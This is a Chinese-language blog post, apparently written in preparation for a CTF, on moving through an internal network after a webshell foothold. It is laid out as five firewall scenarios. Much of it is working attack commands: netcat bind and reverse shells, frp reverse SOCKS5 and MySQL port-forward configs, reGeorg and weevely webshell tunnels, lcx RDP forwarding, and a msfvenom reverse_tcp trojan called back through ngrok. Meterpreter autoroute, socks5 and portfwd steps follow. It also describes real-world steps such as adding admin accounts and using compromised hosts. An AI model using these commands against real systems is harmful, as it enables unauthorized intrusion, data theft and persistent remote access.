內網滲透的邊界場景分析+內網代理整理


 
先從nc開始理解正向代理和反向代理:
1、正向連接
受害者主機執行
nc -e -t /bin/bash -lvp 7777

攻擊者執行

nc -t 192.168.16.X 7777

2、反向連接
受害者主機執行
nc -t -e cmd.exe 192.168.16.104 7777

攻擊者主機執行

nc -lvp 7777

winodws下命令參數和linxu參數相同。
nc僅僅能夠實現執行命令的操作,對於端口轉發和建立socks5代理實現內網掃描無能為力。
 
結合最近在准備的BCTF,是通過web的RCE命令執行,實現的內網滲透。
那么整理了一下通過web實現內網滲透的幾種場景。
 
正題:
外層的防火牆根據過濾的嚴格程度分為:
  • 場景一:內網防火牆對出口流量沒有任何端口限制。
    • 思路:由於防火牆對出口流量沒有任何端口限制,我們的可選擇的方案非常靈活。
      • 方法一:正向連接,將shell轉發到某個端口,或者內網主機的端口或者監聽SOCKS5端口開始監聽,等待外面的攻擊者連接(此時,外網的任何人都可以來連接被攻擊者的端口)
      • 方法二:反向連接,受害者主機,通過指定攻擊者正在監聽的IP和port,將shell,內網端口等轉發到攻擊者。也可實現socks5反向代理。
  • 場景二:內網的防火牆只配置了入站規則比如只有80端口。
    • 思路:通過反向代理實現流量轉發,端口轉發,內網滲透。
      • 方法:反向連接,受害者主機,通過指定攻擊者正在監聽的IP和port,將shell,內網端口等轉發到攻擊者。也可實現socks5反向代理。
  • 場景三:內網防火牆出站入站規則都配置了比如只開放(80,443)
    • 思路:由於防火牆僅允許部分特定外網端口可以訪問,思路一仍然是反彈shell只不過目標端口改成特定端口即可;思路二則是端口轉發,將內網主機的某些服務的端口轉發到外網攻擊主機上的防火牆允許的特定端口上,再通過連接外網主機上的本地端口來訪問內網服務。
      • 方法:工具搭建socks5代理配合proxychains來代理所有流量進一步滲透內網。
  • 場景四:內網防火牆都配置了出入站規則並且具有協議檢測和識別能力且僅允許HTTP流量出去外網
    • 思路:由於防火牆僅允許HTTP流量出去外網,可選擇的方案將會受到很大限制,但是其中一種方案是HTTP隧道技術
    • 方法:regeorg+proxifier 實現
  • 場景五:內網具備深度包檢測能力且僅允許HTTP流量出去外網但可以檢測明文傳輸的HTTP流量
    • 思路:該場景比場景三更加苛刻,在場景三中我們將流量封裝在HTTP協議中來Bypass檢測,但是流量本身都是明文傳輸,所以一旦目標內網檢測HTTP流量,我們還是可能被攔截,因此我們需要對場景三中的思路稍加修改,即利用SSL或者SSH加密流量在結合HTTP隧道技術。這樣封裝在HTTP協議中的流量本身也是加密的,檢測系統就無法發現真實的payload了。
      • 方法:利用SSL或者SSH加密流量在結合HTTP隧道技術
 
 
防火牆的突破
“Socks代理"
 
一條正常的socket隧道必具備兩端,一側為服務端,它會監聽一個端口等待客戶端連接;
另一側為客戶端,通過傳入服務端的ip和端口,才能主動連接到服務器。
沒有防火牆的過濾規則正向代理方向代理都是可以的,效果是一樣的。
 
原理介紹:
HTTP代理:能夠代理客戶機的HTTP訪問,主要是代理瀏覽器訪問網頁,它的端口一般為80、8080等;
SOCKS代理:SOCKS代理與其他類型的代理不同,它只是簡單地傳遞數據包,而並不關心是何種應用協議,既可以是HTTP請求,所以SOCKS代理服務器比其他類型的代理服務器速度要快得多。    
SOCKS代理又分為SOCKS4和SOCKS5,二者不同的是SOCKS4代理只支持TCP協議(即傳輸控制協議),而SOCKS5代理則既支持TCP協議又支持UDP協議(即用戶數據包協議),還支持各種身份驗證機制、服務器端域名解析等。
建立socks5通道之后,可以轉發各種應用層協議服務(底層信息先不需要了解,等待填坑)
 
1. 對於訪問目標來說所有的交互都只和 Socks-server 有關,Client的身份被隱藏起來了。
2. 當Client和訪問目標間無法直接通訊時,Socks-server仍然可以正常工作,這同時又是一種翻牆操作。
 
ss和ssr都是基於socks5
 
 
前提:
已經具有目標內網中的一台主機的任意命令執行的權限,比如:webshell或者某個service的RCE漏洞。 
 
目標:
要繞過可能存在的防火牆,IDS/IPS或者深度包檢測系統從而拿到目標內網主機的shell並進而穿透內網以便實施內網滲透,最終以進入內網數據庫為目標。
 
本地環境的搭建:
攻擊機(Kali ):192.168.16.X(環境限制,192.168.16段的IP當作公網IP)
 
環境1:
  • 內網主機A(Linux):172.16.10.3  (無法訪問互聯網,只能通過內網主機訪問)
 
  • 內網主機A(Linux):
    • 172.16.10.2(網卡1)
    • 192.168.16.X(網卡2)(公網IP)
網絡拓撲:

 

所有的解決方案是向上兼容的。
 
場景一:內網防火牆對出口流量沒有任何端口限制。
其他場景的解決方案都可以應用到場景一中。
 
 
場景二:內網的防火牆只配置了入站規則比如只有80端口。
這種場景,取得執行權限的主機對外網的連接時沒有限制的,可以使用反向代理。
 
FRP實現socks5代理和內網端口轉發
此時可以執行命令的主機的出站規則是沒有限制的,通過配置反向的socks5代理可以實現內網滲透
受害者主機執行
./frpc -c frpc.ini

frpc.ini配置文件為:

[common]
server_addr = 192.168.16.105
server_port = 7000


[socks5_proxy]
type = tcp
remote_port = 18888
plugin = socks5

攻擊者主機執行

./frps -c frps.ini

frps.ini配置文件為:

[common]
bind_port = 80
建立連接之后,攻擊者就擁有了一條通往內網的socks5隧道,配合proxychains就可以實現對內網的滲透了。
 
 
場景三:內網防火牆出站入站規則都配置了比如只開放(80,443)
如果開放的端口多,可以實現frp的反向代理(把非80端口的服務停掉,使用防火牆允許的端口建立連接)
 
 
場景四:內網防火牆具有協議檢測和識別能力且僅允許HTTP流量出去外網
構建Web隧道,實現HTTP代理轉發:
 
1、reGeorg+proxifier(win)
reGeorg 是 reDuh 的升級版,主要是把內網服務器的端口通過 http/https 隧道轉發到本機,形成一個回路。用於目標服務器在內網或做了端口策略的情況下連接目標服務器內部開放端口。它利用 webshell 建立一個 socks 代理進行內網穿透,服務器必須支持 aspx、php 或 jsp 這些 web 程序中的一種。
https://github.com/sensepost/reGeorg

受害者web目錄下上傳

tunnel.nosokcet.php

攻擊者執行

python reGeorgSocksProxy.py -p 7777 -u http://192.168.16.107/tunnel.nosocket.php
就可以通過proxychains實現代理攻擊了。
 
2、 frp進行端口轉發
frp端口轉發的配置只需要需要修改frpc.ini文件
例如轉發內網的主機3306端口到本地配置信息為:
[common]
server_addr = 192.168.16.105
server_port = 7000

[mysql] 
type = tcp
local_ip = 127.0.0.1
local_port = 3306
remote_port = 33061

此時,攻擊者只需要在本地命令行執行

mysql -P 33061 -h 127.0.0.1 -uroot -p
即可進入內網的主機數據庫。
 
3、weevely(linux版的菜刀,僅支持http/https代理)
python weevely3.py generate shell shell.php
 python weevely.py http://192.168.16.112/shell.php shell 
 :help
可以執行一些菜刀的命令

場景五:內網具備深度包檢測能力且僅允許HTTP流量出去外網但可以檢測明文傳輸的HTTP流量    
方法:利用SSL或者SSH加密流量在結合HTTP隧道技術
  • 思路:該場景比場景三更加苛刻,在場景三中我們將流量封裝在HTTP協議中來Bypass檢測,但是流量本身都是明文傳輸,所以一旦目標內網檢測HTTP流量,我們還是可能被攔截,因此我們需要對場景三中的思路稍加修改,即利用SSL或者SSH加密流量在結合HTTP隧道技術。這樣封裝在HTTP協議中的流量本身也是加密的,檢測系統就無法發現真實的payload了。
    • 方法:利用SSL或者SSH加密流量在結合HTTP隧道技術
 
 
 
然而實際情況一般是拿到了一個網站的webshell,然后提權,建立管理員賬戶或者破解原有的管理員密碼,緊接着開啟目標服務器遠程桌面,然而他卻是處於內網的服務器,這個時候你如果想搞內網的主機,發現,即便拿到遠程桌面了也沒有工具去搞內網的那些主機,所以通過你拿到的服務器建立代理,將你的攻擊主機掛上代理實現對內網主機的滲透。
當你瞄准了某台主機的某台端口,為了攻擊方便,就可以通過端口轉發,轉發到本地端口。然后攻擊者就可以對127.0.0.1:port實現攻擊。
 
找到的網上總結的一張圖片:
講一下內網滲透代理最常用的幾種方案:
 
LCX 對 windows 3389 的轉發;
1、內網主機上執行:lcx.exe –slave 公網主機ip 公網主機端口 內網主機ip 內網主機端口
lcx.exe -slave 公網主機ip 4444 127.0.0.1 3389

 

內網主機的 3389 端口轉發到具有公網ip主機的 4444 端口
2、公網主機 上執行 Lcx.exe –listen 公網主機端口1 公網主機端口2
lcx.exe –listen 4444 5555
監聽公網主機本機的 4444 端口請求,並將來自 4444 端口的請求傳送給 5555 端口
此時,如果在公網本機上,本地的5555端口就是內網主機的3389遠程桌面服務,直接mstsc連接127.0.0.1:5555就可以遠程桌面內網主機。
如果是在本地訪問公網的ip:5555端口就可以遠程桌面連接。

 

2、reGeorg 通過上傳對應腳本(PHP/ASPX/JSP),然后proxifier全局代理進一步內網滲透;
上面已講解
 
3、ngrok配合msf實現內網滲透:
使用ngrok將自己的內網地址映射到公網上面,可以讓肉雞直接請求ngrok轉換的地址。

 

開啟Metasploit控制台
 
開啟成功,加載exploit模塊和payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tcp://0.tcp.ngrok.io LPORT=15497 -f exe -a x86 --platform win -o shell.exe

msf 
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.16.107
set lhost 8888
run 
使用show options查看要設置的參數,這里設置LHOST為本機的ip,LPORT設置你要監聽的端口(這個端口在做端口轉發的時候設置的)
 
配置好之后,新建一個終端,然后生成木馬(這里要和轉發的域名和端口一樣)
 
木馬生成完成
 
然后打開Metasploit輸入exploit或者run,開始監聽
 
然后咱用webshell把生成的木馬上傳到服務器,再用菜刀的終端遠程執行這個木馬
 
 
4、msf實現socks5代理建立(本地測試沒有成功)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

run post/windows/gather/arp_scanner RHOSTS=192.168.192.0/24

msf中同樣也為我們提供好了用於socks代理的模塊[socks5]
當我們獲取了目標系統的一個meterpreter會話
run autoroute -s 192.168.192.0/24
route flush
use auxiliary/server/socks5
set srvhost 127.0.0.1
set srvport 1080
run
最后,在proxychians.conf中設置好代理。
 
5、使用msf的portfwd進行端口轉發
拿到meterpreter之后執行:
portfwd add -l 7777 -p 3389 -r 192.168.192.133
-l 本地監聽的端口  -p 肉雞的3389端口  -r 肉雞的IP
實現將肉雞的3389 轉發到本地的7777 端口

之后執行遠程桌面連接

rdesktop -f -a 16 127.0.0.1:7777

模擬環境與真實環境的差異:
黑客的攻擊機一般是沒有公網IP的,黑客真實情況下是需要使用一台VPS做端口轉發的。
黑客的實現途徑一般就兩種:
  • 當運營商的寬帶分配的是公網IP的情況下,使用內網穿透工具如ngrok等工具將自己的局域網映射到公網上面監聽端口實現反彈shell
  • 抓一台服務器肉雞,實現端口監聽和轉發

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

當一件事情你沒有盡全力,仍然被大家誇獎時,你收獲的快樂是大打折扣的,甚至收獲的不是快樂,而是焦慮,彷徨,不安。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM